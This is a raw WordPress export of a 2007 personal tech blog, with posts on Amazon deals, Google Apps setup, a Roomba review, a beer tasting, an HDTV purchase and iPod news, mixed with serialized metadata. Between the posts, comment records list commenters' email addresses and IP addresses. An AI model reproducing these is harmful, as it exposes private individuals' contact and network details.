-- 40% -- 30% -- 20% -- 10% Office Products: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Outdoor Living: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Pet Supplies: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Shoes: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Software: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Sports & Outdoors: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Tools & Hardware: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Toys & Games : 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10%]]> 69 2007-07-05 10:04:57 2007-07-05 15:04:57 open open great-amazon-deals publish 0 0 post 0 _geo_location , _utw_tags_0 a:2:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"deals";}} _utw_tags_ a:2:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"deals";}} _edit_last 1 _edit_lock 1213730347 btc_comment_counts a:0:{} btc_comment_summary a:0:{} T-Mobile's new killer phone feature http://ottodestruct.com/blog/2007/t-mobiles-new-killer-phone-feature/ Thu, 05 Jul 2007 20:17:59 +0000 http://ottodestruct.com/blog/2007/07/05/t-mobiles-new-killer-phone-feature/ article in the New York Times talks about a new thing T-Mobile introduced last week, but which few people noticed... It's called "HotSpot@Home", which is a dumb name, but still: For $10 more on your cell phone bill, T-Mobile will give you a cell phone that also works over WiFi, and a WiFi router at home for you to hook to your own broadband internet connection. The plus side to all this: When your phone calls are using the WiFi, they're free. No minutes get used up. When the calls are using the normal cell phone network, you're charged as per usual. It can also seamlessly switch between the two. Think about this.. You're at home, so your phone calls are using your own WiFi and therefore are "free". No cell phone minutes used. Or you're at the Flying Saucer, having a beer... The saucer has free WiFi... your phone detects that, uses it, and your calls are free there too. Walk out of the saucer on the phone and out of range, and the phone switches back to the normal cell network and you never notice it. With a phone like this and the plan to allow it, you could probably reduce the number of minutes you actually pay for each month. If, for example, you pay for 1000 minutes but use 800 of them while at home or work (assuming you have WiFi at work), then you could switch to a 250 minute plan and save the difference. Neat idea, I thought. ]]> 70 2007-07-05 15:17:59 2007-07-05 20:17:59 open open t-mobiles-new-killer-phone-feature publish 0 0 post 0 _geo_location , _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:10:"cell-phone";}i:1;O:8:"stdClass":1:{s:3:"tag";s:8:"cellular";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"t-mobile";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"wifi";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Fully Integrating Google Apps for your Domain http://ottodestruct.com/blog/2007/fully-integrating-google-apps-for-your-domain/ Sat, 07 Jul 2007 16:07:36 +0000 http://ottodestruct.com/blog/2007/07/07/fully-integrating-google-apps-for-your-domain/ First, you need to create a Google Account using your Google Apps email address. If, like me, you have both a GMail account and a Google Apps account, then they're probably not linked together and you're using your GMail account as your main "Google Account". So go here and make a new account using your Google Apps email instead: https://www.google.com/accounts/NewAccount . Use the same password as your Google Apps Email account. Next, using the Google Toolbar, click settings and sign out, then sign in with your new Google Account and your Google Apps Email address. Now, remove or uncheck the old GMail button in the Google Toolbar Options->Buttons tab. Finally, add the custom button I made by clicking this link: http://toolbar.google.com/buttons/add?url=http://ottodestruct.com/gmfyd.xml This custom button is virtually identical to the GMail button, except that it has an extra option that will let you type in your domain name. I use "ottodestruct.com", for example. And that's it. The button will check your Google Apps account instead of your GMail account. Nice, huh? To further integrate things, I've set my Google Apps account to pull my email from my GMail account as well. Setup your GMail account to allow POP access, and to delete messages as they get pulled by POP. Then set your Google Apps Domain email to check an extra account: your GMail account. You may also want to have it put those messages under a separate label (I used "old email"). At the same time, you want to add your GMail address as an alternate address. What happens is that your Google Apps account will check your GMail account once an hour and pull over any new messages, putting all your email into one place, nicely labeled. You'll also be able to send messages from there using your old GMail address, if necessary. Integrates everything into one nice little package. While you're doing integration, you might want to change your Google Talk client to use your Google Apps account as well. And if you haven't done so, you'll want to edit your DNS settings to include the TXT records needed to allow Google Apps to connect via Jabber for the Google Talk functionality. This lets your domain talk to other domains (including GMail) and allows all your Google Talk stuff to continue to work on the Google Apps Domain. It's a lot of setup, but the end result is one place for everything, with all the Google Apps functionality working smoothly. If only Google could automate this sort of integration, then everything would be a lot nicer. The functionality is all there, it's just a matter of putting all the pieces together. Google Apps rocks, I highly recommend it. Additional: Although I have not yet worked out how to make the SendTo button in the Google Toolbar work properly, Elijah linked to a post that gives instructions on making normal "mailto:" type links work correctly with the Toolbar and Google Apps. Here's the basic instructions: 1. Download and install the Google Toolbar for Firefox 2. Google Tool Bar->Settings->Options->Send With GMail (checked)->OK 3. In the address bar, go to "about:config" 4. Find the key "google.toolbar.mailto.providers.Gmail" 5. Change the "/mail/" portion to "/hosted/example.com/" (replace example.com with your domain name). Now any normal mailto: links on web pages will redirect you to your Google Apps email. ]]> 71 2007-07-07 11:07:36 2007-07-07 16:07:36 open open fully-integrating-google-apps-for-your-domain publish 0 0 post 0 _geo_location , _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"gafyd";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"google";}i:2;O:8:"stdClass":1:{s:3:"tag";s:11:"google-apps";}i:3;O:8:"stdClass":1:{s:3:"tag";s:27:"google-apps-for-your-domain";}i:4;O:8:"stdClass":1:{s:3:"tag";s:23:"google-apps-integration";}i:5;O:8:"stdClass":1:{s:3:"tag";s:14:"google-toolbar";}i:6;O:8:"stdClass":1:{s:3:"tag";s:11:"integration";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1596 books@briancassidy.net http://www.briancassidy.net 75.63.129.34 2007-08-16 10:21:03 2007-08-16 15:21:03 1 0 0 1389 bb@zbeba.com http://www.zbeba.com 97.99.109.93 2007-07-30 00:51:59 2007-07-30 05:51:59 1 0 0 1715 healthyelijah@gmail.com 76.25.51.176 2007-08-24 23:26:38 2007-08-25 04:26:38 1 0 0 1716 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2007-08-24 23:59:58 2007-08-25 04:59:58 1 0 1 Best Batman Line Ever http://ottodestruct.com/blog/2007/best-batman-line-ever/ Tue, 17 Jul 2007 19:38:31 +0000 http://ottodestruct.com/blog/2007/07/17/best-batman-line-ever/ Damn right[/wp_caption] ]]> 72 2007-07-17 14:38:31 2007-07-17 19:38:31 open open best-batman-line-ever publish 0 0 post 0 _utw_tags_0 a:1:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"batman";}} _geo_location , _edit_lock 1215804555 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Bought a Roomba http://ottodestruct.com/blog/2007/bought-a-roomba/ Thu, 19 Jul 2007 14:37:33 +0000 http://ottodestruct.com/blog/2007/07/19/bought-a-roomba/ Roomba today. They had a deal going on Woot! and anyway I kind of need one. The hardwood in the new condo is proving difficult to keep clean on a regular basis. Since Mandy claimed to have gotten one while at the car dealership the other day, I figured I'd give it a shot too. BTW, if you don't check out Woot! daily, you should. It's good stuff. Even when the deal of the day sucks, the text is pretty good. The daily podcast is usually pretty funny as well. Worth the trouble. ]]> 73 2007-07-19 09:37:33 2007-07-19 14:37:33 open open bought-a-roomba publish 0 0 post 0 _geo_location , _utw_tags_0 a:2:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"roomba";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"woot";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Dogfish Head Beer Tasting - Review http://ottodestruct.com/blog/2007/dogfish-head-beer-tasting-review/ Thu, 19 Jul 2007 17:28:05 +0000 http://ottodestruct.com/blog/2007/07/19/dogfish-head-beer-tasting-review/ Flying Saucer last night. They had a Dogfish Head beer tasting event, where we got to try five different Dogfish Head beers along with a five course tasting meal to go with the beers and such. First: By far, my favorite was the Midas Touch. It was an excellent beverage, extremely smooth. The contents of it are unusual (as with all Dogfish Head beers), and it had a flavor which I'm somewhat unable to describe. Very mellow and mead-like, but not overpoweringly so. Strong as heck (9%) but you can't tell at all. A very complicated beer. Second: The Festina Peche, which was not a beer that I was expecting them to have. It's a wheat beer, but they called it a "Neo-Berliner" which was new to me. It had the most variation in flavor of any beer that night, very sweet at first, turning almost sour by the 4th-5th taste. High in carbonation (for a beer), but surprisingly low in alcohol (only 4.5%). Excellent flavor though, and I will pick it up again when I find it. Third: The 90 Minute IPA. For those of you that know me, you probably know that I hate IPA's. Really, really hate them. However, the 90 Minute IPA really does an amazing job of hiding the hop flavors with the sweet flavors at the start. I did discover that if you block the sweet flavors by eating some bread just before taking a drink, then it's extremely hoppy. All the hop flavor comes out when you can't taste the sweetness. Fourth: Raison d'Etre. This is one I've had many times before, it's a beer made with green raisins and Belgian yeasts. It's a good beer, but many people don't like it because it's slightly sour flavored and very malty. Note that by ranking this 4th, I'm not saying it's bad, I'm just saying that the other three were better. :) Fifth: The 60 Minute IPA. It's a pretty average IPA, but with a lot more hops than per normal. The hop flavor is immediately apparent as it's way overhopped. I have to say that while I can drink this beer, I don't really care for it much. It's a high alcohol beer (6%) for a low alcohol price, and that's a good thing. It's also a much better beer than many others on the market. However, it's very much an IPA with a huge amount of hops, and I don't care for that style of beer myself. But if you like IPAs, you'll love it. Unranked: The 120 Minute IPA. Mikey was lucky enough to procure the "Golden Ticket" and thus win one of the coveted bottles of their heavy-duty IPA. We also procured a couple of other floating bottles, so I got to taste this one fairly well. The short of it is that that it's very strong. At 18%, it's not messing around when it comes to the alcohol. It's also very heavily hopped, but honestly, the alcohol hides that flavor. Again, I tried the bread trick, and it worked, you can really taste the hops when the sweet alcohol is hidden from your palate. I do not recommend doing this trick on this beer however, as it tasted like I had chewed on a handful of hop pellets. It's that strong. On the whole, however, it's a good beer, but it's more like a fine wine. Sip it. Slowly. The food was delicious as well, and whoever thought of mixing the Peche wheat beer with orange sherbet is a sheer genius. Same goes for the Beef Stew and the 90 minute IPA. The guy from Dogfish Head mentioned that they're bringing their beers into more Memphis liquor stores. Apparently we have a 6% law I did not know about, so you'll likely only be able to find the stuff in liquor stores and not general grocery stores. Some of their beers are well worth the extra trip, so I plan on making some liquor store runs soon and seeing what I can find.]]> 74 2007-07-19 12:28:05 2007-07-19 17:28:05 open open dogfish-head-beer-tasting-review publish 0 0 post 0 _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:12:"beer-tasting";}i:2;O:8:"stdClass":1:{s:3:"tag";s:12:"dogfish-head";}i:3;O:8:"stdClass":1:{s:3:"tag";s:13:"flying-saucer";}} _geo_location , _edit_lock 1233766167 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Fun with a Roomba http://ottodestruct.com/blog/2007/fun-with-a-roomba/ Wed, 25 Jul 2007 15:25:00 +0000 http://ottodestruct.com/blog/2007/07/25/fun-with-a-roomba/ Roomba at the Woot off the other day. After I bought the condo, a good friend of mine (who also lives here) mentioned the device, but didn't know the name. Being the consummate geek that I am, I knew he was talking about the Roomba, and furthermore knew that they had several flavors of it now. And the fact of the matter is that he was right, it seems perfectly suited for this place. So when I saw one at the Woot off for only $120 (+$5 shipping), it seemed like a good idea. In fact, I think it turned out to be one of the best bargains ever. The one I got is a "Discovery 4296" which is nothing more than a word with a number, really. The thing is basically an automatic sweeper. With hardwood or low carpets/rugs (not shag) it's clearly perfect. Basically it sweeps the floor with rotating brushes and sweeps the crap into a bin, whereupon you dump it. It's particularly good with hair and other small debris, like the weird pebbles that keep falling out of my ceiling. It also does a decent job of dust in general, although it tends to throw it about a bit. But it seems to get it after a few passes. One thing I do not like is the bin. It's too small, and it's positioned wrong. The upshot of this is that you have to use it every other day, and you have to be *extremely* careful when emptying it. The first time I emptied it, I dumped a large amount of crap onto the floor. Takes some practice, so expect it. Naturally, being a geek, I'm interested in the algorithms involved. It has a few. They probably have technical names, but here's the lowdown: 1. Roaming - It roams off in some random direction for a long distance. This is the primary way that it cleans the center of rooms. However, when you consider it, the center areas of rooms don't tend to be the dirty ones.. It's the edges that build up the mess. So it has... 2. Edge finding - I think the manual calls this wall roaming. It tends to do this a lot, however I've seen it walking the edge of my rug as well. Which is actually a good thing, as those edges tend to pick up debris too. Finally, it has: 3. Spot cleaning - This is an interesting mode. You can force it by placing it somewhere and hitting the "spot" button, but in normal "clean" mode, it will wander around and occasionally switch into this mode. A blue light labeled "dirt detector" comes on, and it runs around in circles for a while, eventually heading off in some random direction. Few other things: - Home base - If you get the model with the home base charger, then after it's satisfied with the area or low enough on battery, it will go home and dock for charging. This can be forced as well with the remote (if you have one). Watching it dock is a lot of fun for your average geek, because the way it does it is clearly via two infrared beams on either side of the dock. It hits them, and turns away from them, back and forth, hunting, until it finds the home point. Very clever. - Virtual Walls - These are similar, just infrared transmitters (each takes 2 D-cell batteries!) that shoot out a beam which cause the thing to act like it hit a wall and turn. It will follow the beam just like it follows walls. The beams are a bit wide, so put them back a bit inside doorways and such. The primary way it knows about things is hitting them. The whole front piece, about 140-150 degrees or so, is a movable bump mechanism. When it hits something, this pushes in and the thing stops and turns around some seemingly random amount, or just a bit in edge finding mode. It also appears to be able to sense distance from any wall, because in edge finding, it will follow a wall very precisely without touching it at all, which is weird, because I can't find any obvious sensors there. As far as cleaning goes, the one I got is basically a sweeper/vacuum. Works great on hardwood, decent on low cut rug/carpet, probably would not work on shag or similar. The gist of it is that it has a side sweeper to pull in things, a front sweeper to push things up, a rotor brush to pull things in, and a ramp to force things into the bin. There's also a spinning mechanism inside which might produce some very minor vacuum effect, to get things "over the hump" of the bin and keep dust inside. The bin is on the back, and it sucks. Pick the thing upright before removing the bin. You'll see the method after 1 spill, trust me. The docking station does not work particularly well on hardwood floors. It slides, and the Roomba drags it around while trying to disengage. Put it on rug or carpet. I ended up putting it on some carpet samples underneath my bar area. Speaking of which, the dock *MUST* be in an area where it has a pretty good view of the room. Otherwise the Roomba will not find it. So forget a closet or something, it must be in the main area, somewhere. The cat is completely freaked out by the thing, but the Roomba does not appear to mind his presence. :D It's loud. Not as loud as an actual vacuum cleaner, but the Roomba takes longer. However, given that mine has a scheduling feature, I can set it to work when I'm not here. Haven't tried that yet, might try it later this week. The scheduler is cool, built into the remote. You program the times, and then send the schedule to the Roomba and to the virtual wall units. It runs for that time and the wall units turn on at the same moment. Very conservative on battery power that way. One thing that bugs me is that the remote doesn't offer any easy way to really remote control the thing. You can send it commands, but they're really more like suggestions as far as I can tell. Which is frankly too much work. It covered my living room and kitchen by itself twice before running out of power, and since I didn't follow the charging directions, it didn't find home base when it did so. Follow the damn directions, charge it for 16 hours before the first use. Trust me on this one. Hacking: There are myriad abilities to hack the thing. It has a serial port, and can accept commands to move around and such, as well as provide feedback of all the sensors on it. Worth a look if you're into that sort of thing. I'm considering building a bluetooth serial link to it and hacking it a bit. With some minor effort (okay, maybe not so minor), I could control the thing and make it work much better for my specific space. Given that the unit's more or less "random" method works pretty well, it does seem to take a while to accomplish anything. I mean, it works, but seems inefficient. I could improve that. I browsed through the documentation on irobot.com while it was working, and it's pretty comprehensive. Worth a look if you're the hackish type. All in all, I'd say it's worth the $125. Maybe $170. But not the default $220 price. Find the bargains on it, stick with those. Amazon has the remanufactured ones on the cheap (this is the same one I got). And if you're all hardwood with no rugs/carpets, look for the one that actually mops instead of just sweeps and vacuums. ]]> 78 2007-07-25 10:25:00 2007-07-25 15:25:00 open open fun-with-a-roomba publish 0 0 post 0 _utw_tags_ a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"irobot";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"roomba";}i:3;O:8:"stdClass":1:{s:3:"tag";s:14:"roomba-hacking";}i:4;O:8:"stdClass":1:{s:3:"tag";s:4:"woot";}} _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"irobot";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"roomba";}i:3;O:8:"stdClass":1:{s:3:"tag";s:14:"roomba-hacking";}i:4;O:8:"stdClass":1:{s:3:"tag";s:4:"woot";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1434 tiffanydavis66@mail.com 198.254.16.200 2007-08-02 14:59:00 2007-08-02 19:59:00 1 0 0 1507 amy@poemstogo.tv http://www.Poemstogo.tv 66.171.69.183 2007-08-08 17:13:04 2007-08-08 22:13:04 1 0 0 4788 dave@welcomebackrosenthal.com http://welcomebackrosenthal.com 76.198.201.49 2008-03-23 17:02:21 2008-03-23 22:02:21 1 0 0 Finally bought a TV http://ottodestruct.com/blog/2007/finally-bought-a-tv/ Wed, 01 Aug 2007 15:54:05 +0000 http://ottodestruct.com/blog/2007/08/01/finally-bought-a-tv/ So, I finally caved and bought a big HDTV. I talked about getting one before, but I'm essentially broke at the moment, having spent so much on moving and such. However, I finally compromised my inherent desire for "the best" and decided to get one that "will work for now". But, everybody that commented there, and most people I talked to, told me that Samsung has the current best LCD panels. They got the highest reviews pretty much everywhere, so I satisfied the inherent need to have the best that way instead. :) On the plus side, I was able to get a powered wall mount for free through my American Express rewards points, so that's pretty cool. It'll let the Samsung TV be wall mounted and movable with the remote, so I can tilt and angle the thing easily. It also makes it mount flush to the wall when the set is off, but allows it to come out from the wall 4-5 inches when the set is on. Neat. The set and wall mount should arrive sometime next week. Amazon has pretty awesome shipping policies with regard to their higher end items: Free white-glove shipping. Very nice. I highly recommend buying your next set from them, unless you know somebody who can hook you up with wholesale price. Even then, the sales tax costs might make it a better deal to go online. It did in my case.]]> 79 2007-08-01 10:54:05 2007-08-01 15:54:05 open open finally-bought-a-tv publish 0 0 post 0 _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"hdtv";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"lcd";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"lnt4642";}i:4;O:8:"stdClass":1:{s:3:"tag";s:8:"lnt4642h";}i:5;O:8:"stdClass":1:{s:3:"tag";s:7:"samsung";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Perseids Meteor Shower this Weekend http://ottodestruct.com/blog/2007/perseids-meteor-shower-this-weekend/ Fri, 10 Aug 2007 20:14:02 +0000 http://ottodestruct.com/blog/2007/08/10/perseids-meteor-shower-this-weekend/ http://science.nasa.gov/headlines/y2007/11jul_greatperseids.htm]]> 80 2007-08-10 15:14:02 2007-08-10 20:14:02 open open perseids-meteor-shower-this-weekend publish 0 0 post 0 _geo_location 35.142395,-90.055825 _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:13:"meteor-shower";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"meteors";}i:2;O:8:"stdClass":1:{s:3:"tag";s:4:"nava";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"perseids";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"weekend";}} _geo_converted wp_geo_mashup_locations.id = 2 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Virtual Bartender http://ottodestruct.com/blog/2007/virtual-bartender/ Thu, 16 Aug 2007 13:28:02 +0000 http://ottodestruct.com/blog/2007/08/16/virtual-bartender/ Paul found a thing called MyFountain on somebody's website. It's basically an automated bartender. Now, I've seen these before, but mostly as do-it-yourself type projects. The basic idea is that you get a bunch of liqour and beer and such, hook it up to a bunch of pumps and tubes, and hook those to a computer to portion each one out properly. Simple enough. The trick, of course, is programming the computer properly. Running pumps and such is no big deal. This MyFountain thing takes it to a whole other level. The cheap version (which is still $2500 or so) is a basic bartender. It can go online to get new recipes and such, and it knows what you have in the fridge so it can tell you what you're capable of making. The advanced version is basically geared towards managing an entire bar, in that it networks with multiple units, can estimate drinking patterns and call headquarters to schedule deliveries of more beverages automatically, etc, etc. Very clever indeed. Still, I think it would be a fun project to build my own unit. I'll need a mini fridge or freezer of some design to hold the beverages, but I'll have to be willing to cut holes in the thing for the necessary tubes to pass through. So if anybody knows of a fridge/freezer design suitable for such a project, capable of holding, say, 6-10 bottles of liquor and possibly 1 or 2 mini kegs, let me know. ]]> 81 2007-08-16 08:28:02 2007-08-16 13:28:02 open open virtual-bartender publish 0 0 post 0 _utw_tags_ a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:9:"bartender";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"fridge";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"liquor";}i:4;O:8:"stdClass":1:{s:3:"tag";s:10:"MyFountain";}i:5;O:8:"stdClass":1:{s:3:"tag";s:5:"robot";}} _geo_location , _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:9:"bartender";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"fridge";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"liquor";}i:4;O:8:"stdClass":1:{s:3:"tag";s:10:"MyFountain";}i:5;O:8:"stdClass":1:{s:3:"tag";s:5:"robot";}} comment_count 2 trackback_count btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1643 info@digitalbevrages.com http://www.digitalbeverges.com 69.117.109.102 2007-08-19 21:02:36 2007-08-20 02:02:36 1 0 0 1621 liquorfairy@gmail.com http://www.theliquorfairy.com 74.229.184.85 2007-08-18 07:06:31 2007-08-18 12:06:31 1 0 0 Amazon Price Drops and You http://ottodestruct.com/blog/2007/amazon-price-drops-and-you/ Fri, 24 Aug 2007 01:13:22 +0000 http://ottodestruct.com/blog/2007/08/23/amazon-price-drops-and-you/ Amazon's Customer Service pages. Very cool, but many retailers will do much the same thing. Slight problem with this is that you have to notice the price drop and then request the refund. So the most likely scenario is that you get no refund. Which is presumably fine with Amazon. And why not? Anyway, NukePrice is really clever. When you buy something from Amazon, you go there and put in the link to the item you just bought and your email address. Then, for 30 days, it will check the price of the item and if it drops, it emails you. Not just emails you, but gives you a link to the Amazon refund request page and instructions on how to get your refund. I used it back on the 31st when I bought my new Samsung 4642H. Today, it emails me and tells me that the price has now dropped $100. So, woo hoo! Free $100. Very cool. They also have a downloadable tool which can do price watching for you automatically, on all your Amazon purchases. Very clever. I haven't tried it yet, but if you do a lot of buying, then it's probably worth the trouble.]]> 82 2007-08-23 20:13:22 2007-08-24 01:13:22 open open amazon-price-drops-and-you publish 0 0 post 0 _geo_location 35.135499,-90.05962 _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:10:"free-money";}i:2;O:8:"stdClass":1:{s:3:"tag";s:9:"nukeprice";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"refund";}} _geo_converted wp_geo_mashup_locations.id = 3 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1888 http://rubystardust.com/?p=70 207.126.55.153 2007-09-12 13:43:12 2007-09-12 18:43:12 1 pingback 0 0 1720 liquorfairy@gmail.com http://www.theliquorfairy.com 74.229.184.85 2007-08-25 07:13:22 2007-08-25 12:13:22 1 0 0 6261 ot.nabarry@spamgourmet.com 24.10.30.38 2008-08-20 23:40:23 2008-08-21 04:40:23 1 0 0 All-In-One Brewing Device http://ottodestruct.com/blog/2007/my-god-its-full-of-beer/all-in-one-brewing-device/ Wed, 29 Aug 2007 15:18:03 +0000 http://ottodestruct.com/blog/wp-content/uploads/2007/08/beer_485.jpg 84 2007-08-29 10:18:03 2007-08-29 15:18:03 open open all-in-one-brewing-device inherit 83 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2007/08/beer_485.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/08/beer_485.jpg _wp_attachment_metadata a:5:{s:5:"width";i:485;s:6:"height";i:409;s:14:"hwstring_small";s:23:"height='96' width='113'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/08/beer_485.jpg";s:5:"thumb";s:22:"beer_485.thumbnail.jpg";} _utw_tags_0 no tags My God, it's full of Beer... http://ottodestruct.com/blog/2007/my-god-its-full-of-beer/ Wed, 29 Aug 2007 15:38:53 +0000 http://ottodestruct.com/blog/2007/08/29/my-god-its-full-of-beer/ All-In-One Brewing Device It's an all-in-one brewing machine made by a photographer at Popular Science. He spent about $4300 making it, but it brews, chills, ferments, and pours, all in the same device. Apparently, a little manual intervention is required, in the form of swapping CO2 hoses around to move the brew along through the machine from time to time. But the brew itself is never exposed to air, thus eliminating the risk of contamination. They also have a slideshow of how the device actually works on PopSci's website. And, of course, a YouTube video of him demonstrating it. :) ]]> 83 2007-08-29 10:38:53 2007-08-29 15:38:53 open open my-god-its-full-of-beer publish 0 0 post 0 _geo_location , _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:11:"beer-making";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"homebrew";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"popsci";}i:4;O:8:"stdClass":1:{s:3:"tag";s:15:"popular-science";}i:5;O:8:"stdClass":1:{s:3:"tag";s:10:"the-device";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Now this is a phone I might get... http://ottodestruct.com/blog/2007/now-this-is-a-phone-i-might-get/ Wed, 29 Aug 2007 17:06:07 +0000 http://ottodestruct.com/blog/2007/08/29/now-this-is-a-phone-i-might-get/ rumor mill, Google is creating their own phone. I could definitely get behind this one, as opposed to the iPhone. They haven't actually decided on a design yet, but some obvious things that will be included:
    • Google Maps
    • Google Calendar
    • GMail
    • GPS
    • Google Talk
    • Probably Google Documents and Spreadsheets
    Considering the recent talk-talk about bidding for the 700 Mhz spectrum auction, it's possible that they're considering building their own large scale data network, much like they've already done in parts of San Francisco and such. If so, then it seems likely that the Google Phone would work on that network as well as normal cell phone networks. Hopefully, they decide to sell the phone standalone, with no service. If it's GSM, then in theory, I should be able to simply pop out my SIM card from my existing phone and pop it into the new one. That should be the way phone service works, this sucky tying the phone to the carrier business has to end. Also, Google was making talk-talk about how they wanted the network spectrum to be required to be "open" in the sense of allowing mostly unencumbered network access for various things. The FCC went along with a couple of Google's ideas, but not the full set. So I'm thinking that Google might push to buy the spectrum and turn it into a countrywide data network (which the winner of the auction is actually required to do anyway, within 10 years), but perhaps offer free network access in exchange for pushed advertising and such. Maybe even to the effect of creating devices that sit on your home network and access the internet via Google's spectrum. That would be very cool, and well worth the trouble. ]]>
    85 2007-08-29 12:06:07 2007-08-29 17:06:07 open open now-this-is-a-phone-i-might-get publish 0 0 post 0 _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"700-Mhz";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"auction";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"fcc";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"google";}i:4;O:8:"stdClass":1:{s:3:"tag";s:12:"google-phone";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"spectrum";}i:6;O:8:"stdClass":1:{s:3:"tag";s:8:"wireless";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    New iPods today http://ottodestruct.com/blog/2007/new-ipods-today/ Wed, 05 Sep 2007 18:14:39 +0000 http://ottodestruct.com/blog/2007/09/05/new-ipods-today/ Gizmodo is running a live blog of the new Apple iPod announcements today. Interesting reading. Quick rundown:
    • New iPod Shuffle - price lowered to $79 for 1GB
    • New iPod Nano - thinner, slightly wider. $149 and $199 for 4GB and 8GB
    • New iPod Classic - basically the same as existing iPods, but thinner and cheaper. $299 and $349 for 80GB and 160GB!
    • New iPod Touch - essentially, its an iPhone without the phone part. It has Wi-fi web surfing and iPod capabilities and the same interface as the iPhone. Also can buy songs directly from the iTunes music store. Downside: 8GB and 16GB for $299 and $399. I can't see paying that much more and giving up all that space just for that somewhat annoying interface.
    • iPhone gets ringtones - They're adding the ability to turn your purchased songs into ringtones... for 99 cents per song. This really sucks, basically you buy the song for 99 cents and then pay an extra 99 cents to turn any 30 second section of it into a ringtone. And it only works with songs you buy from iTunes and even then only 500k of their catalog can do it, not just any song. Really lame and one more reason not to get an iPhone, IMO.
    • iPhone also gets ability to buy direct from iTunes music store.
    • Starbucks integration - When you get the new iPod Touch or iPhone near a Starbucks, it'll have a special menu to let you see the last 10 songs played there, and allow you to purchase them from iTunes.
    • iPhone price drop - The 4GB version is now gone, the 8GB version drops 200 bucks to $399. The price drop was required, IMO, but anybody who bought early kinda got screwed. Especially if they got the 4GB model, not only are they out $100 extra, but also out 4GB. Bummer for you suckers!
    Seems to me that the price drops across the board make sense. Most excellent news, IMO, is the reasonably priced 160GB iPod classic. I really want one of those. The iPhone price drop is likely to try to stave off competition from the upcoming Google Phone. The iPod touch just seems somewhat worthless to me, but then I dislike the iPhone interface concept to begin with. Touchscreens are not my favorite things. Still, neat stuff. Take a look at the many pictures Gizmodo posted on the live blog, some of them are quite cool. Edit: Apple now has info about the new iPod's up on their site: http://www.apple.com/ ]]>
